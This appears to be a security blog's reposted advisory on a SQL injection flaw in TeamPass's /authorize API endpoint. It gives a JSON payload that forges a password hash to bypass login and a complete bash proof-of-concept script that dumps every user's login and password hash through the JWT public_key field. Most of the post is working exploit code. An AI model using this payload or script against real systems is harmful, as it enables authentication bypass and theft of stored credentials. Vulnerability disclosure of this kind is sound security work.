Site icon API Security Blog

SQL injection in API authorization check

# Description

TeamPass `/authorize` API endpoint is vulnerable to SQL injection in the `login` field. It is possible to forge an arbitrary Blowfish hash and use it in the query to bypass the password verification check. Using the same query it is possible to define an arbitrary `apikey` value too:

“`
{
“login”: “none’ UNION SELECT id, ‘$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq’, (SELECT pw FROM teampass_users LIMIT 1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, ‘foo’ FROM teampass_users WHERE login=’admin”,
“password”: “h4ck3d”,
“apikey”: “foo”
}
“`

The produced JWT doesn’t contain a valid `username` field, however it is possible to populate the JWT `public_key` field with a value coming from an arbitrary query (that has to return a single result). In this way it is potentially possible to read the whole database, even if one field at a time.

# Proof of Concept

The following PoC enumerates the users and their password hashes. Many other scenarios are possible.
The PoC assumes that the API feature has been enabled and that the database table prefix is `teampass_` (the default value):

“`bash
if [ “$#” -lt 1 ]; then
echo “Usage: $0 “
exit 1
fi

vulnerable_url=”$1/api/index.php/authorize”

check=$(curl –silent “$vulnerable_url”)
if echo “$check” | grep -q “API usage is not allowed”; then
echo “API feature is not enabled :-(“
exit 1
fi

# htpasswd -bnBC 10 “” h4ck3d | tr -d ‘:n’
arbitrary_hash=’$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq’

exec_sql() {
inject=”none’ UNION SELECT id, ‘$arbitrary_hash’, ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, ‘foo’ FROM teampass_users WHERE login=’admin”
data=”{“login”:””$inject””,”password”:”h4ck3d”, “apikey”: “foo”}”
token=$(curl –silent –header “Content-Type: application/json” -X POST –data “$data” “$vulnerable_url” | jq -r ‘.token’)
echo $(echo $token| cut -d”.” -f2 | base64 -d 2>/dev/null | jq -r ‘.public_key’)
}

users=$(exec_sql “SELECT COUNT(*) FROM teampass_users WHERE pw != ””)

echo “There are $users users in the system:”

for i in `seq 0 $(($users-1))`; do
username=$(exec_sql “SELECT login FROM teampass_users WHERE pw != ” ORDER BY login ASC LIMIT $i,1″)
password=$(exec_sql “SELECT pw FROM teampass_users WHERE pw != ” ORDER BY login ASC LIMIT $i,1″)
echo “$username: $password”
done
“`Read More

Exit mobile version